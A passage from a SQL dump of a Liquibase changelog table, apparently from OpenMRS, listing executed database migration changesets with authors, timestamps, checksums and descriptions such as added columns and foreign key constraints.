Table','',NULL,'2.0.5'),('20110915-1311','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:12',392,'EXECUTED','3:e88c86892fafb2f897f72a85c66954c0','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1312','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:07',369,'EXECUTED','3:fe2641c56b27b429c1c4a150e1b9af18','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1313','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:07',370,'EXECUTED','3:5c7ab96d3967d1ce4e00ebe23f4c4f6e','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1314','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:07',371,'EXECUTED','3:22902323fcd541f18ca0cb4f38299cb4','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1315','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:08',372,'EXECUTED','3:dd0d198da3d5d01f93d9acc23e89d51c','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1316','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:08',373,'EXECUTED','3:f22027f3fc0b1a3a826dc5d810fcd936','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1317','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:08',374,'EXECUTED','3:68aa00c9f2faa61031d0b4544f4cb31b','Add Unique Constraint','',NULL,'2.0.5'),('20110915-1320','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:08',375,'EXECUTED','3:5d6a55ee33c33414cccc8b46776a36a4','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1323','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:09',376,'EXECUTED','3:4c3b84570d45b23d363f6ee76acd966f','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1325','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:08',82,'EXECUTED','3:0813953451c461376a6ab5a13e4654dd','Create Table','',NULL,'2.0.5'),('20110915-1327','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:09',377,'EXECUTED','3:3c8aaca28033c8a01e4bceb7421f8e8e','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1328','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:09',378,'EXECUTED','3:05b6e994f2a09b23826264d31f275b5e','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1329','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:09',379,'EXECUTED','3:40729ae012b9ed8bd55439b233ec10cc','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1337','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:08',83,'EXECUTED','3:06fd47a34713fad9678463bba9675496','Create Table','',NULL,'2.0.5'),('20110915-1342','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:10',380,'EXECUTED','3:bb52caf0ec6e80e24d6fc0c7f2c95631','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1343','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:10',381,'EXECUTED','3:b36c3436facfe7c9371f7780ebb8701d','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1344','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:10',382,'EXECUTED','3:010fa7bc125bcb8caa320d38a38a7e3f','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1345','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:10',383,'EXECUTED','3:e3cdd84f2e6632a4dd8c526cf9ff476e','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1346','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:11',384,'EXECUTED','3:7f6420b23addd5b33320e04adbc134a3','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1435','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:09',84,'EXECUTED','3:511f99d7cb13e5fc1112ccb4633e0e45','Create Table','',NULL,'2.0.5'),('20110915-1440','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:11',385,'EXECUTED','3:2cb254be6daeeebb74fc0e1d64728a62','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1441','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:11',386,'EXECUTED','3:8bd11d5102eff3b52b1d925e44627a48','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1442','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:11',387,'EXECUTED','3:4cf7afc33839c19f830e996e8546ea72','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1443','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:12',388,'EXECUTED','3:cf41f73f64c11150062b2e2254a56908','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1450','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:09',85,'EXECUTED','3:f9348bf7337d32ebbf98545857b5c8cc','Create Table','',NULL,'2.0.5'),('20110915-1451','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:12',389,'EXECUTED','3:d98c8bdaacf99764ab3319db03b48542','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1452','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:12',390,'EXECUTED','3:3a2e67fd1f0215b49711e7e8dccd370d','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1453','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:12',391,'EXECUTED','3:6b1b7fb75fedc196cf833f04e216b9b2','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1459','sunbiz','liquibase-core-data.xml','2016-10-27 07:11:16',10040,'EXECUTED','3:5faead5506cbcde69490fef985711d66','Custom Change','Inserting core concept map types',NULL,'2.0.5'),('20110915-1524','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:13',393,'EXECUTED','3:8d609018e78b744ce30e8907ead0bec0','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1528','sunbiz','liquibase-schema-only.xml','2016-10-27 07:10:09',86,'EXECUTED','3:e8a5555a214d7bb6f17eb2466f59d12b','Create Table','',NULL,'2.0.5'),('20110915-1530','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:13',394,'EXECUTED','3:ddc26a0bb350b6c744ed6ff813b5c108','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1531','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:13',395,'EXECUTED','3:e9fa5722ba00d9b55d813f0fc8e5f9f9','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1532','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:13',396,'EXECUTED','3:72f0f61a12a3eead113be1fdcabadb6f','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1533','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:13',397,'EXECUTED','3:0430d8eecce280786a66713abd0b3439','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1534','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:14',398,'EXECUTED','3:21b6cde828dbe885059ea714cda4f470','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1536','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:14',399,'EXECUTED','3:01868c1383e5c9c409282b50e67e878c','Add Foreign Key Constraint','',NULL,'2.0.5'),('20110915-1700','sunbiz','liquibase-schema-only.xml','2016-10-27 07:11:15',402,'EXECUTED','3:ba5b74aeacacec55a49d31074b7e5023','Insert Row (x18)','',NULL,'2.0.5'),('201109152336','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:11:56',10433,'MARK_RAN','3:a84f855a1db7201e08900f8c7a3d7c5f','Update Data','Updating logging level global property',NULL,'2.0.5'),('20110919-0638','sunbiz','liquibase-update-to-latest.xml','2011-09-19 00:00:00',10015,'MARK_RAN','3:5e540b763c3a16e9d37aa6423b7f798f',NULL,NULL,NULL,NULL),('20110919-0639-void_empty_attributes','dkayiwa','liquibase-update-to-latest.xml','2016-10-27 07:11:56',10434,'EXECUTED','3:ccdbab987b09073fc146f3a4a5a9aee4','Custom SQL','Void all attributes that have empty string values.',NULL,'2.0.5'),('20110922-0551','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:11:48',10306,'MARK_RAN','3:ab9b55e5104645690a4e1c5e35124258','Modify Column','Changing global_property.property from varbinary to varchar',NULL,'2.0.5'),('20110926-1200','raff','liquibase-update-to-latest.xml','2016-10-27 07:11:53',10396,'MARK_RAN','3:bf884233110a210b6ffcef826093cf9d','Custom SQL','Change all empty concept_source.hl7_code to NULL',NULL,'2.0.5'),('201109301703','suho','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10405,'MARK_RAN','3:11456d3e6867f3b521fb35e6f51ebe5a','Update Data','Converting general address format (if applicable)',NULL,'2.0.5'),('201109301704','suho','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10406,'MARK_RAN','3:d64afe121c9355f6bbe46258876ce759','Update Data','Converting Spain address format (if applicable)',NULL,'2.0.5'),('201109301705','suho','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10407,'MARK_RAN','3:d3b0c8265ee27456dc0491ff5fe8ca01','Update Data','Converting Rwanda address format (if applicable)',NULL,'2.0.5'),('201109301706','suho','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10408,'MARK_RAN','3:17d3a0900ca751d8ce775a12444c75bf','Update Data','Converting USA address format (if applicable)',NULL,'2.0.5'),('201109301707','suho','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10409,'MARK_RAN','3:afbd6428d0007325426f3c4446de2e38','Update Data','Converting Kenya address format (if applicable)',NULL,'2.0.5'),('201109301708','suho','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10410,'MARK_RAN','3:570c9234597b477e4feffbaac0469495','Update Data','Converting Lesotho address format (if applicable)',NULL,'2.0.5'),('201109301709','suho','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10411,'MARK_RAN','3:20c95ae336f437b4e0c91be5919b7a2b','Update Data','Converting Malawi address format (if applicable)',NULL,'2.0.5'),('201109301710','suho','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10412,'MARK_RAN','3:b06d71b4c220c7feed9c5a6459bea98a','Update Data','Converting Tanzania address format (if applicable)',NULL,'2.0.5'),('201110051353-fix-visit-attribute-type-columns','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:53',10392,'MARK_RAN','3:d779b41ab27dca879d593aa606016bf6','Add Column (x2)','Refactoring visit_attribute_type table (devs only)',NULL,'2.0.5'),('201110072042-fix-location-attribute-type-columns','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:54',10402,'MARK_RAN','3:2e32ce0f25391341c8855604f4f40654','Add Column (x2)','Refactoring location_attribute_type table (devs only)',NULL,'2.0.5'),('201110072043-fix-provider-attribute-type-columns','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:57',10439,'MARK_RAN','3:31aa196adfe1689c1098c5f36d490902','Add Column (x2)','Refactoring provider_attribute_type table (devs only)',NULL,'2.0.5'),('20111008-0938-1','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:11:59',10450,'EXECUTED','3:fe6d462ba1a7bd81f4865e472cc223ce','Add Column','Allow Global Properties to be typed',NULL,'2.0.5'),('20111008-0938-2','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:12:00',10451,'EXECUTED','3:f831d92c11eb6cd6b334d86160db0b95','Add Column','Allow Global Properties to be typed',NULL,'2.0.5'),('20111008-0938-3','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:12:00',10452,'EXECUTED','3:f7bd79dfed90d56053dc376b6b8ee7e3','Add Column','Allow Global Properties to be typed',NULL,'2.0.5'),('20111008-0938-4','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:12:00',10453,'EXECUTED','3:65003bd1bf99ff0aa8e2947978c58053','Add Column','Allow Global Properties to be typed',NULL,'2.0.5'),('201110091820-a','jkeiper','liquibase-update-to-latest.xml','2016-10-27 07:12:00',10454,'MARK_RAN','3:364a0c70d2adbff31babab6f60ed72e7','Add Column','Add xslt column back to the form table',NULL,'2.0.5'),('201110091820-b','jkeiper','liquibase-update-to-latest.xml','2016-10-27 07:12:00',10455,'MARK_RAN','3:0b792bf39452f2e81e502a7a98f9f3df','Add Column','Add template column back to the form table',NULL,'2.0.5'),('201110091820-c','jkeiper','liquibase-update-to-latest.xml','2016-10-27 07:12:01',10457,'MARK_RAN','3:f71680d95ecf870619671fb7f416e457','Rename Table','Rename form_resource table to preserve data; 20111010-1515 reference is for bleeding-edge developers and can be generally ignored',NULL,'2.0.5'),('20111010-1515','jkeiper','liquibase-update-to-latest.xml','2016-10-27 07:12:01',10458,'EXECUTED','3:3ccdc9a3ecf811382a0c12825c0aeeb3','Create Table, Add Foreign Key Constraint, Add Unique Constraint','Creating form_resource table',NULL,'2.0.5'),('20111128-1601','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:01',10460,'EXECUTED','3:12fa4687d149a2f17251e546d47369d6','Insert Row','Inserting Auto Close Visits Task into \'schedule_task_config\' table',NULL,'2.0.5'),('20111209-1400-deleting-non-existing-roles-from-role-role-table','raff','liquibase-update-to-latest.xml','2016-10-27 07:12:01',10461,'EXECUTED','3:3d74c1dd987a12d916218d68032d726d','Custom SQL','Deleting non-existing roles from the role_role table',NULL,'2.0.5'),('20111214-1500-setting-super-user-gender','raff','liquibase-update-to-latest.xml','2016-10-27 07:12:01',10464,'EXECUTED','3:2c281abfe7beb51983db13c187c072f3','Custom SQL','Setting super user gender',NULL,'2.0.5'),('20111218-1830','abbas','liquibase-update-to-latest.xml','2016-10-27 07:12:03',10465,'EXECUTED','3:5f096b88988f19d9d3e596c03fba2b90','Add Unique Constraint, Add Column (x6), Add Foreign Key Constraint (x2)','Add unique uuid constraint and attributes inherited from BaseOpenmrsData to the person_merge_log table',NULL,'2.0.5'),('20111218-1830-fix','sunbiz','liquibase-update-to-latest.xml','2016-10-27 07:12:03',10466,'EXECUTED','3:a95b16d8762fef1076564611fb2115ac','Modify Column','(Fixed)Change person_merge_log.voided to BOOLEAN',NULL,'2.0.5'),('20111218-2274','gsluthra','liquibase-update-to-latest.xml','2016-10-27 07:12:03',10467,'MARK_RAN','3:6339df469a35f517ac6e86452aad0155','Update Data','Fix the description for RBC concept',NULL,'2.0.5'),('20111219-1404','bwolfe','liquibase-update-to-latest.xml','2016-10-27 07:12:03',10468,'EXECUTED','3:3f8cfa9c088a103788bcf70de3ffaa8b','Update Data','Fix empty descriptions on relationship types',NULL,'2.0.5'),('20111222-1659','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:12:04',10469,'EXECUTED','3:990b494647720b680efeefbab2c502de','Create Table, Create Index','Create clob_datatype_storage table',NULL,'2.0.5'),('201118012301','lkellett','liquibase-update-to-latest.xml','2016-10-27 07:11:52',10370,'MARK_RAN','3:0d96c10c52335339b1003e6dd933ccc2','Add Column','Adding the discontinued_reason_non_coded column to orders.',NULL,'2.0.5'),('201202020847','abbas','liquibase-update-to-latest.xml','2016-10-27 07:12:04',10470,'EXECUTED','3:35bf2f2481ee34975e57f08d933583be','Modify data type, Add Not-Null Constraint','Change merged_data column type to CLOB in person_merge_log table',NULL,'2.0.5'),('20120316-1300','mseaton','liquibase.xml','2016-10-27 07:12:55',10632,'EXECUTED','3:0cbaf0a89ef629563c90deccbd82429f','Create Table','Adding calculation_registration table',NULL,'2.0.5'),('20120322-1510','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:04',10471,'EXECUTED','3:7c5913c7091c2b20babb9e825774993c','Add Column','Adding uniqueness_behavior column to patient_identifier_type table',NULL,'2.0.5'),('20120330-0954','jkeiper','liquibase-update-to-latest.xml','2016-10-27 07:12:05',10472,'EXECUTED','3:9c6084b4407395205fa39b34630d3522','Modify data type','Increase size of drug name column to 255 characters',NULL,'2.0.5'),('20120503-djmod','dkayiwa and djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:12:09',10492,'EXECUTED','3:d31ac18d3a40e45c0ebb399c5d116951','Create Table, Add Foreign Key Constraint (x2)','Create test_order table',NULL,'2.0.5'),('20120504-1000','raff','liquibase-update-to-latest.xml','2016-10-27 07:12:05',10473,'EXECUTED','3:eb6f5e2a2ef5ea111ff238ca1df013f4','Drop Table','Dropping the drug_ingredient table',NULL,'2.0.5'),('20120504-1010','raff','liquibase-update-to-latest.xml','2016-10-27 07:12:05',10474,'EXECUTED','3:4d9ece759a248fa385c3eae6b83995a1','Create Table','Creating the drug_ingredient table',NULL,'2.0.5'),('20120504-1020','raff','liquibase-update-to-latest.xml','2016-10-27 07:12:05',10475,'EXECUTED','3:fcbc8182e908b595ae338ba8402a589c','Add Primary Key','Adding a primary key to the drug_ingredient table',NULL,'2.0.5'),('20120504-1030','raff','liquibase-update-to-latest.xml','2016-10-27 07:12:06',10476,'EXECUTED','3:d802926fcf3eaf3649aca49a26a5f67d','Add Foreign Key Constraint','Adding a new foreign key from drug_ingredient.units to concept.concept_id',NULL,'2.0.5'),('20120504-1040','raff','liquibase-update-to-latest.xml','2016-10-27 07:12:06',10477,'EXECUTED','3:9786bfbb8133493b54ce9026424d5b99','Add Foreign Key Constraint','Adding a new foreign key from drug_ingredient.drug_id to drug.drug_id',NULL,'2.0.5'),('20120504-1050','raff','liquibase-update-to-latest.xml','2016-10-27 07:12:07',10478,'EXECUTED','3:7d43f25c9a3bde54112ddd65627b2c05','Add Foreign Key Constraint','Adding a new foreign key from drug_ingredient.ingredient_id to concept.concept_id',NULL,'2.0.5'),('201205241728-1','mvorobey','liquibase-update-to-latest.xml','2016-10-27 07:12:08',10487,'MARK_RAN','3:70160c0af8222542fa668ac5f5cb99ed','Add Column, Add Foreign Key Constraint','Add optional property view_privilege to encounter_type table',NULL,'2.0.5'),('201205241728-2','mvorobey','liquibase-update-to-latest.xml','2016-10-27 07:12:08',10488,'MARK_RAN','3:dd8de770c99e046ba05bc8348748c33c','Add Column, Add Foreign Key Constraint','Add optional property edit_privilege to encounter_type table',NULL,'2.0.5'),('20120529-2230','mvorobey','liquibase-schema-only.xml','2016-10-27 07:11:14',400,'EXECUTED','3:f3e2c3891054eed4aadc45ad071afd8c','Add Foreign Key Constraint','',NULL,'2.0.5'),('20120529-2231','mvorobey','liquibase-schema-only.xml','2016-10-27 07:11:14',401,'EXECUTED','3:9bc5f03ef0ab12767509be1cb4cc3213','Add Foreign Key Constraint','',NULL,'2.0.5'),('20120613-0930','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:08',10490,'EXECUTED','3:fe6387773a70b574b106b37686a8e8d3','Drop Not-Null Constraint','Dropping not null constraint from provider.identifier column',NULL,'2.0.5'),('20121007-orders_urgency','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:12:09',10493,'EXECUTED','3:f8eb2228ea34f43ae21bedf4abc8736b','Add Column','Adding urgency column to orders table',NULL,'2.0.5'),('20121007-test_order_laterality','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:12:09',10494,'EXECUTED','3:1121924c349201e400e03feda110acc3','Modify data type','Changing test_order.laterality to be a varchar',NULL,'2.0.5'),('20121008-order_specimen_source_fk','djazayeri','liquibase-update-to-latest.xml','2016-10-27 07:12:10',10495,'MARK_RAN','3:99464e51d64e056a1e23b30c7aaaf47e','Add Foreign Key Constraint','Adding FK constraint for test_order.specimen_source if necessary',NULL,'2.0.5'),('20121016-1504','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:10',10496,'EXECUTED','3:88db1819c0e9da738ed9332b5de73609','Drop Foreign Key Constraint, Modify Column, Add Foreign Key Constraint','Removing auto increment from test_order.order_id column',NULL,'2.0.5'),('20121020-TRUNK-3610','lluismf','liquibase-update-to-latest.xml','2016-10-27 07:12:10',10497,'EXECUTED','3:a3159e65647f0ff1b667104012b5f4f0','Update Data (x2)','Rename global property autoCloseVisits.visitType to visits.autoCloseVisitType',NULL,'2.0.5'),('20121021-TRUNK-333','lluismf','liquibase-update-to-latest.xml','2016-10-27 07:12:11',10499,'EXECUTED','3:f885cb0eed2a8e2a5786675eeb0ccbc5','Drop Table','Removing concept set derived table',NULL,'2.0.5'),('20121025-TRUNK-213','lluismf','liquibase-update-to-latest.xml','2016-10-27 07:12:11',10498,'EXECUTED','3:65536ae335b0a6cb23619d6ef7ea3274','Modify Column (x2)','Normalize varchar length of locale columns',NULL,'2.0.5'),('20121109-TRUNK-3474','patandre','liquibase-update-to-latest.xml','2016-10-27 07:12:11',10500,'EXECUTED','3:02af0e39e210aeda861f92698ae974f6','Drop Not-Null Constraint','Dropping not null constraint from concept_class.description column',NULL,'2.0.5'),('20121112-TRUNK-3474','patandre','liquibase-update-to-latest.xml','2016-10-27 07:12:11',10501,'EXECUTED','3:30e023e5e3e98190470d951fbbbd9e87','Drop Not-Null Constraint','Dropping not null constraint from concept_datatype.description column',NULL,'2.0.5'),('20121113-TRUNK-3474','patandre','liquibase-update-to-latest.xml','2016-10-27 07:12:11',10502,'EXECUTED','3:76211ab053e8685a4d0b1345f166e965','Drop Not-Null Constraint','Dropping not null constraint from patient_identifier_type.description column',NULL,'2.0.5'),('20121113-TRUNK-3474-person-attribute-type','patandre','liquibase-update-to-latest.xml','2016-10-27 07:12:11',10503,'EXECUTED','3:7ad821b6167ff22a812a6c550d6deb53','Drop Not-Null Constraint','Dropping not null constraint from person_attribute_type.description column',NULL,'2.0.5'),('20121113-TRUNK-3474-privilege','patandre','liquibase-update-to-latest.xml','2016-10-27 07:12:12',10504,'EXECUTED','3:ecf38bb6fb29d96b0e2c75330a637245','Drop Not-Null Constraint','Dropping not null constraint from privilege.description column',NULL,'2.0.5'),('20121114-TRUNK-3474-encounter_type','patandre','liquibase-update-to-latest.xml','2016-10-27 07:12:12',10507,'EXECUTED','3:1cad8ad2c06b02915138dfb36c013770','Drop Not-Null Constraint','Dropping not null constraint from encounter_type.description column',NULL,'2.0.5'),('20121114-TRUNK-3474-relationship_type','patandre','liquibase-update-to-latest.xml','2016-10-27 07:12:12',10506,'EXECUTED','3:232499aa77be5583f87d6528c0c44768','Drop Not-Null Constraint','Dropping not null constraint from relationship_type.description column',NULL,'2.0.5'),('20121114-TRUNK-3474-role','patandre','liquibase-update-to-latest.xml','2016-10-27 07:12:12',10505,'EXECUTED','3:69a164a13e3520d5cdccbf977d07ce89','Drop Not-Null Constraint','Dropping not null constraint from role.description column',NULL,'2.0.5'),('20121212-TRUNK-2768','patandre','liquibase-update-to-latest.xml','2016-10-27 07:12:12',10508,'EXECUTED','3:351f7dba6eea4f007fa5d006219ede9e','Add Column','Adding deathdate_estimated column to person.',NULL,'2.0.5'),('201301031440-TRUNK-4135','rkorytkowski','liquibase-update-to-latest.xml','2016-10-27 07:12:26',10573,'EXECUTED','3:47e5686e3cb80484b2830afca679ec70','Custom Change','Creating coded order frequencies for drug order frequencies',NULL,'2.0.5'),('201301031448-TRUNK-4135','rkorytkowski','liquibase-update-to-latest.xml','2016-10-27 07:12:26',10574,'EXECUTED','3:00adfb72966810dd0c048f93b8edd523','Custom Change','Migrating drug order frequencies to coded order frequencies',NULL,'2.0.5'),('201301031455-TRUNK-4135','rkorytkowski','liquibase-update-to-latest.xml','2016-10-27 07:12:26',10575,'EXECUTED','3:04b95a27ccba87e597395670db081498','Drop Column','Dropping temporary column drug_order.frequency_text',NULL,'2.0.5'),('201306141103-TRUNK-3884','susantan','liquibase-update-to-latest.xml','2016-10-27 07:12:13',10510,'EXECUTED','3:9581f8d869e69d911f04e48591a297d0','Add Foreign Key Constraint (x3)','Adding 3 foreign key relationships (creator,created_by,voided_by) to encounter_provider table',NULL,'2.0.5'),('20130626-TRUNK-439','jthoenes','liquibase-update-to-latest.xml','2016-10-27 07:12:12',10509,'EXECUTED','3:6c0799599f35b4546dafa73968e3a229','Update Data','Adding configurability to Patient Header on Dashboard. Therefore the cd4_count property is dropped and\n replaced with a header.showConcept property.',NULL,'2.0.5'),('20130809-TRUNK-4044-duplicateEncounterRoleChangeSet','surangak','liquibase-update-to-latest.xml','2016-10-27 07:12:13',10513,'EXECUTED','3:35b07ae88667be5a78002beacd3aa0ed','Custom Change','Custom changesets to identify and resolve duplicate EncounterRole names',NULL,'2.0.5'),('20130809-TRUNK-4044-duplicateEncounterTypeChangeSet','surangak','liquibase-update-to-latest.xml','2016-10-27 07:12:13',10514,'MARK_RAN','3:01a7d7ae88b0280139178f1840d417bd','Custom Change','Custom changesets to identify and resolve duplicate EncounterType names',NULL,'2.0.5'),('20130809-TRUNK-4044-encounter_role_unique_name_constraint','surangak','liquibase-update-to-latest.xml','2016-10-27 07:12:14',10516,'EXECUTED','3:1a5a8ad5971977e0645a6fbc3744f8e2','Add Unique Constraint','Adding the unique constraint to the encounter_role.name column',NULL,'2.0.5'),('20130809-TRUNK-4044-encounter_type_unique_name_constraint','surangak','liquibase-update-to-latest.xml','2016-10-27 07:12:14',10515,'EXECUTED','3:823098007f6e299c0c6555dde6f12255','Add Unique Constraint','Adding the unique constraint to the encounter_type.name column',NULL,'2.0.5'),('20130925-TRUNK-4105','hannes','liquibase-update-to-latest.xml','2016-10-27 07:12:13',10511,'EXECUTED','3:e81f96e97c307c2d265bce32a046d0ca','Create Index','Adding index on concept_reference_term.code column',NULL,'2.0.5'),('20131023-TRUNK-3903','k-joseph','liquibase-update-to-latest.xml','2016-10-27 07:12:13',10512,'MARK_RAN','3:88f8ec2c297875a03fd88ddd2b9f14b9','Add Column','Adding \"display_precision\" column to concept_numeric table',NULL,'2.0.5'),('201310281153-TRUNK-4123','mujir,sushmitharaos','liquibase-update-to-latest.xml','2016-10-27 07:12:18',10543,'EXECUTED','3:b2bffad4e841b61c6397465633cd1064','Add Column, Add Foreign Key Constraint','Adding previous_order_id to orders',NULL,'2.0.5'),('201310281153-TRUNK-4124','mujir,sushmitharaos','liquibase-update-to-latest.xml','2016-10-27 07:12:19',10544,'EXECUTED','3:eb9dec50fead4430dc07b8309e5840ac','Add Column, Update Data, Add Not-Null Constraint','Adding order_action to orders and setting order_actions as NEW for existing orders',NULL,'2.0.5'),('201311041510','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:17',10538,'EXECUTED','3:dfdc279ddc60b9751dc5d655b4c7fc9c','Rename Column','Renaming drug_order.prn column to drug_order.as_needed',NULL,'2.0.5'),('201311041511','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:17',10539,'EXECUTED','3:4a2ee902d6090959a49539d5bc907354','Add Column','Adding as_needed_condition column to drug_order table',NULL,'2.0.5'),('201311041512','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:18',10540,'EXECUTED','3:76a5c7a0b95e971bd540865917efed9c','Add Column','Adding order_number column to orders table',NULL,'2.0.5'),('201311041513','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:18',10541,'MARK_RAN','3:b41217397a18dbe18e07266a9be4a523','Update Data','Setting order numbers for existing orders',NULL,'2.0.5'),('201311041515-TRUNK-4122','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:18',10542,'EXECUTED','3:948975149e69b6862aab0012304d9a80','Add Not-Null Constraint','Making orders.order_number not nullable',NULL,'2.0.5'),('20131210-TRUNK-4130','k-joseph','liquibase-update-to-latest.xml','2016-10-27 07:12:19',10548,'EXECUTED','3:5a2bde236731862f2c6e3e4066705cdf','Add Column','Adding num_refills column to drug_order table',NULL,'2.0.5'),('201312141400-TRUNK-4126','arathy','liquibase-update-to-latest.xml','2016-10-27 07:12:19',10545,'EXECUTED','3:45d8c6ce32076c0fe11f75d1fea1c215','Modify data type, Rename Column','Renaming drug_order.complex to dosing_type',NULL,'2.0.5'),('201312141400-TRUNK-4127','arathy','liquibase-update-to-latest.xml','2016-10-27 07:12:19',10547,'MARK_RAN','3:26f381a2b8f112d98f36c1d0b6cceebd','Update Data (x2)','Converting values in drug_order.dosing_type column',NULL,'2.0.5'),('201312141401-TRUNK-4126','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:19',10546,'EXECUTED','3:cc77a94d57b78ac02e99ed4ca25f6272','Drop Not-Null Constraint','Making drug_order.dosing_type nullable',NULL,'2.0.5'),('20131216-1637','gitahi','liquibase-update-to-latest.xml','2016-10-27 07:12:30',10583,'EXECUTED','3:4b2a0abaf146a7d938b94009d9600eaf','Create Table, Add Foreign Key Constraint (x6)','Add drug_reference_map table',NULL,'2.0.5'),('201312161618-TRUNK-4129','rkorytkowski','liquibase-update-to-latest.xml','2016-10-27 07:12:22',10554,'EXECUTED','3:a7c821bc60c7410b387aa276540291a9','Add Column, Add Foreign Key Constraint','Adding quantity_units column to drug_order table',NULL,'2.0.5'),('201312161713-TRUNK-4129','rkorytkowski','liquibase-update-to-latest.xml','2016-10-27 07:12:22',10555,'EXECUTED','3:2e13513e97a1c372818bd9ad1f31c219','Modify data type','Changing quantity column of drug_order to double',NULL,'2.0.5'),('201312162044-TRUNK-4126','k-joseph','liquibase-update-to-latest.xml','2016-10-27 07:12:21',10552,'EXECUTED','3:31378c39bfdf55ec4ec6faff20c9dcf8','Add Column','Adding duration column to drug_order table',NULL,'2.0.5'),('201312162059-TRUNK-4126','k-joseph','liquibase-update-to-latest.xml','2016-10-27 07:12:21',10553,'EXECUTED','3:f6f21104c2e85bacbbe9af09fee348fd','Add Column, Add Foreign Key Constraint','Adding duration_units column to drug_order table',NULL,'2.0.5'),('20131217-TRUNK-4142','banka','liquibase-update-to-latest.xml','2016-10-27 07:12:21',10551,'EXECUTED','3:5c29916ae374ae0cb36ecbf4a9c80e8c','Add Column','Adding comment_to_fulfiller column to orders table',NULL,'2.0.5'),('20131217-TRUNK-4157','banka','liquibase-update-to-latest.xml','2016-10-27 